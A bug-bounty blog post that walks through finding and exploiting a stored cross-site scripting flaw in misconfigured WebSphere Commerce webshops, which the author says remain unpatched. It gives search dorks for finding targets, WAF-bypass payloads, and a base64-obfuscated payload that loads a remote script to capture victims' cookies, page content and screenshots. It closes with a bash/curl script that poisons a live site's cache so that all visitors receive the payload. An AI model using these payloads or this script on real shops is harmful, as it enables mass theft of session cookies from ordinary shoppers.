How I found a stored XSS on thousands of webshops
… and the bug is still out there.
Introduction
I’d like to share with you the story of how I found a common misconfiguration in IBM’s Websphere Commerce, which can lead to a very interesting stored cross site scripting bug, affecting all users of some high-traffic sites.
By sending a number of unauthenticated requests to the webserver, an attacker is able to store a Cross Site Scripting payload in the webserver’s cache, from where it will be served to unsuspecting victims.
It’s not a Websphere problem, but a configuration issue, and there are a lot of webshops out there with this misconfiguration.If you encounter a Websphere instance while bughunting, it’s definitely worth it to check it out as it is a high severity bug that not a lot of people seem to know about.
By making this finding public, I hope Websphere administrators and ethical hackers together can make online shopping safer for the general public.
In this blog post I will show you how to:
- Identify a Websphere instance
- Determine if it’s vulnerable
- Bypass everything that gets in the way
- Escalate to stored XSS through cache poisoning, served to all users
- Profit (by reporting responsibly) !
It all comes down to how the webshop administrators choose to handle the apostrophe in url parameters. Because Websphere installations rely on javascript: pseudo protocol in href attributes to perform certain functions, it is not sufficient to encode the apostrophe. The apostrophe should be blocked in all its forms.
For example: the following inline javascript is all valid code and will be executed:
There are some prerequisites needed to exploit this bug:
- Apostrophes must be allowed in url parameters, encoded or not
- Compare functionality must be enabled
- Dynacache must be enabled
Most Websphere webshops will meet these criteria.
Identifying a Websphere webshop
With some Google dorks we can quickly look for Websphere instances (Disclaimer: be sure to have permission to test it) :
inurl:categoryId inurl:storeId (2 million results)
inurl:resultCatEntryType
inurl:searchTermScope
inurl:”webapp/wcs”
inurl:”ProductListingView”
inurl:”AdvancedSearchDisplay”
inurl:”CompareProductsDisplayView”
inurl:parent_category_rn
Determine vulnerability
When you have found a suitable target, check the /ProductListingView url. You will not encounter this url in your browser’s address bar during normal browsing.
Check your Burp suite logs or use Google. Here’s an example:
Now just add the parent_category_rn parameter with a value of ‘-’ to the end of the url.
&parent_category_rn=’-’
If it gets reflected, the site is vulnerable. Even if the apostrophe is html encoded (', ' or '), it will still work because it is triggered inside a href attribute.
If you get a “Prohibited characters error”, then the site is not vulnerable.
It will not execute a payload on this page, as the necessary javascript files are not included here, this is just about testing the waters.
Bypass the WAF
A common WAF configuration will not allow any parameters with alert/confirm/prompt keywords followed by an open parenthesis.
&parent_category_rn=’-alert(document.domain)-’
will not be allowed in most Websphere configurations.
Changing the payload to:
&parent_category_rn=’-[document.domain].find(confirm)-’
will work. You can check this by navigating to a page on the webshop that is vulnerable to reflected xss.
Go to the homepage of the webshop and use the search box to search for some items. You will end up on the webapp/wcs/stores/servlet/SearchDisplay page. Add the parent_categrory_rn parameter with payload to the url, select 2 or more items to compare en press the compare button. An alert box will popup. Now we have a reflected xss, which is by itself reportable, but not a very shocking vulnerability. With some extra effort, outlined below, we can turn what would be a 3 digit bounty into a 4 digit bounty. We’ll need some more tricks to do so.
The problem with cache poisoning
To escalate this reflected xss to stored xss, we need to store the payload in the webserver’s cache (Dynacache, or Dynamic Cache). But there is a problem to overcome: different users can have the payload rendered on different pages. For user A there will be payload rendered on all pages with product A, for user B on all pages with product B, but not product A. Sometimes it will require user interaction to trigger, sometimes not. If we submit a bug report, how will we prove to the security team that the payload is being rendered at random? We can’t expect the security team to go look on all pages, pressing the compare button on each page, they don’t have time for that. They will close the report as ‘not reproducable’, despite it being a very real and impactful bug. We need to treat it as Blind Stored XSS, and have the results of successful injection send to another webserver. We could avoid this randomness by really ‘hammering’ the site’s cache with payloads, but that is overkill, we just need to prove it renders on other users’ browsers.
We can use the awesome Blind XSS tool called XSSHunter for this.
XSSHunter provides a script that will take a screenshot, copy the cookies and the entire DOM and send it to the XSSHunter application. This will be the proof that the stored XSS payload actually renders on victim’s browsers, without the need to really hammer the site with payloads, and is 100% reproducible by the security team. XSSHunter provides us with an example payload:
‘-eval(‘var a=document.createElement(\’script\’);a.src=\’https://<yourname>.xss.ht\’;document.body.appendChild(a)’)-’
OK, so all we need to do is inject the XSSHunter script and be done with it?
Not quite.
More bypasses
The example payload from XSSHunter contains the ‘script’ keyword, which is blocked by any decent WAF. Luckily, on all the shops I have tested, the ‘eval’ keyword is not blocked(!). So a base64 obfuscation can bypass this problem.
&parent_category_rn=‘-eval(atob(‘dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgnc2NyaXB0Jyk7YS5zcmM9J2h0dHBzOi8vPHlvdXJuYW1lPi54c3MuaHQnO2RvY3VtZW50LmJvZHkuYXBwZW5kQ2hpbGQoYSk=’))-’
Going back to the search page that was vulnerable to reflected xss, we find that using this payload does not work. It should, but it doesn’t. A closer look at the injection point and corresponding javascript function will reveal why.
The payload is injected as a parameter to a function call to shoppingActionsJS.compareProducts. And this function’s primary goal is to redirect to another page by changing location.href.
<a role=”button” id=”compare_button_enabled” href=”#” onclick=”Javascript:setCurrentId(‘compare_button_enabled’);shoppingActionsJS.compareProducts({top_category: ‘’, parent_category_rn: ‘’-eval(atob(‘dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgnc2NyaXB0Jyk7YS5zcmM9J2h0dHBzOi8vPHlvdXJuYW1lPi54c3MuaHQnO2RvY3VtZW50LmJvZHkuYXBwZW5kQ2hpbGQoYSk=’))-’’, categoryId: ‘55555’});” class=”btn btn-secondary btn-primary-arrow”>COMPARE<span></span></a>
Popping an alert box works, because when the payload is given as a parameter to the function, and the function is called by clicking the compare button, the execution of the compareProducts function is paused until the user clicks OK, then continues to navigate to another page.
Injecting the XSSHunter payload doesn’t work, because the execution of compareProducts does not get paused. The XSSHunter script attaches a script block to the body of the original page, but before it has time to take the screenshot and copy the cookies and the DOM, the compareProducts function has already navigated to another page, which means all running scripts on the original page (including our XSSHunter script) are stopped.
We need to come up with a payload that :
- Does not break the syntax of the compareProducts function call, because any javascript inside the href attribute will not execute when there is a syntax error, and the XSSHunter script will not be attached.
- But at the same time, prevent compareProducts from navigating to another page, which causes our XSSHunter script to stop working.
This can be done by introducing a javascript TypeError. The TypeError will make sure that, when the victim clicks on the compare button, the javascript in the href attribute will be parsed. Which means the shoppingActionsJS.compareProducts function will be called, with a function parameter that performs the eval(). The javascript parser will only notice the TypeError AFTER the eval() is executed.
This means that the script block from the XSSHunter payload is already attached to the body of the current DOM (the structure of the page that is currently loaded).The javascript parser cannot execute the shoppingActionsJS.compareProducts function, because it has a TypeError. But the <script> block of the XSSHunter script has no error, and now has all the time in the world to take the screenshot and copy everything to the XSSHunter app.
As a side effect, the compare functionality of the webshop will not work anymore, but this is only temporarily, as the cache gets invalidated after some time has passed, the payload is also gone, and the compare button will work again, so no permanent damage is done.
The payload with TypeError looks like this:
‘-[eval(atob(‘dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgnc2NyaXB0Jyk7YS5zcmM9J2h0dHBzOi8vPHlvdXJuYW1lPi54c3MuaHQnO2RvY3VtZW50LmJvZHkuYXBwZW5kQ2hpbGQoYSk=’)).get(0)].find(confirm)-’
This piece of javascript will try to confirm() (or alert) something.
What will it confirm() ?
Whatever it finds in the array []
What is the first thing in the array[] ?
Something that the eval() produces.
What does the eval() produce?
It attaches the XSSHunter script block to the body of the page.
AND…
find() is instructed to take the first element of the array that eval() produces with get(0)…
But eval() does not produce an array.
When does the parser know that eval() does not produce an array?
AFTER the eval() has been executed :)
So eval() is not an array, and we need the first element of something that is not an array = TypeError.
And the execution of shoppingActionsJS.compareProducts is stopped. But all the other scripts on the page are free to do their thing, and that includes our XSSHunter script.
Now we have a payload that is ready to be injected in the cache.
Poisoning the cache with the payload
This is actually the easy part. All we need to do is call every non-parameterized url of the webshop, and attach the payload to it.
Websphere’s DynaCache will pick up the value of parent_category_rn, and use it to generate code snippets wherever parent_category_rn is needed. DynaCache does this to minimize load on the database server, so that the webserver would not have to query the database for every product listed on every page, to check in which category it belongs. And that is how every user on those high-traffic webshops will have our payload generated, despite the fact that there is no user-submitted data stored in the database.
The payload will be injected behind the compare button, but also on other places, where it can trigger without user interaction.
I start a new Burp project, and browse the webshop normally, and then spider the site (for maximum urls).
In the ‘target’ tab, right click on the target, and select ‘copy URLs in this host’.
Paste into a text file urls.txt.
Extract all non-parameterized urls with this Linux command:
egrep -v “\?” urls.txt > urlswithoutparams.txt
Create a little poisoning script:
#!/bin/bash
for x in `cat urlswithoutparams.txt`
do
url=”${x}?parent_category_rn=%27-%5beval(atob(%27dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgnc2NyaXB0Jyk7YS5zcmM9J2h0dHBzOi8vPHlvdXJuYW1lPi54c3MuaHQnO2RvY3VtZW50LmJvZHkuYXBwZW5kQ2hpbGQoYSk=%27)).get(0)%5d.find(confirm)-%27"
echo -n “$url : “
curl -x “http://127.0.0.1:8080" -k -s -X $’GET’ $url | tac | tac | grep -c “atob”
done
Use -x to send the requests through Burp suite, you don’t need that if you don’t want to. The “| tac | tac | grep” trick is to make sure curl is done writing to stdout before we count the number of reflections. Although 0 reflections does not mean the attack was not successful. The payload may get picked up anywhere, and render on random pages. Running this script one time should be sufficient, depending on how busy the site is at that moment. Be patient, the XSSHunter entries (successful injections) might take a while to come. Beware that Websphere instances are usually high-traffic. If you run this script multiple times, more users will have payload rendered, and your inbox might explode. The cache entries get invalidated after a certain time, so every trace of the attack disappears by itself.
I hope you enjoyed reading my first blog post.